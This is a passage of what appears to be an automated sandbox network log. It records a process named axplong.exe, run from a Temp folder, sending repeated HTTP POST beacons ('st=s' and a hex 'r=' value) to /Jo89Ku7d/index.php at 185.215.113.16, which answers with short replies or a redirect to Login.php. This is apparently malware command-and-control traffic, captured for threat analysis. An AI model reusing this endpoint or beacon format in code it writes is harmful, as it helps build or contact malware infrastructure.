Jul 26, 2024 13:44:37.337680101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	53676	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:37.527575970 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:38.278229952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:38.281565905 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:38.609952927 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	53677	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:38.717453003 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:39.893336058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:39.896759033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:39.899817944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:39.910048008 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:40.159702063 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	53678	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:40.281171083 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:41.152069092 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:41.152724981 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:41.403776884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	53679	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:41.521389008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:42.298847914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:42.311791897 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:42.595769882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	53680	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:42.717983961 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:43.471055031 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:43.471693993 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:43.719747066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	53681	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:43.827101946 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:44.988388062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:44.989340067 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:44.992512941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:45.238414049 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	53682	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:45.368541002 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:46.131669044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:46.134480953 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:46.388288021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	53683	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:46.504507065 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:47.274538040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:47.275854111 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:47.675021887 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	53684	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:47.796544075 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:48.588161945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:48.588973045 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:48.843326092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	53685	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:49.354079008 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:50.146931887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:50.147691965 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:50.400048018 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	53686	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:50.516756058 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:51.277060032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:51.277800083 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:51.527635098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	53687	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:51.640239000 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:52.413220882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:52.415894032 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
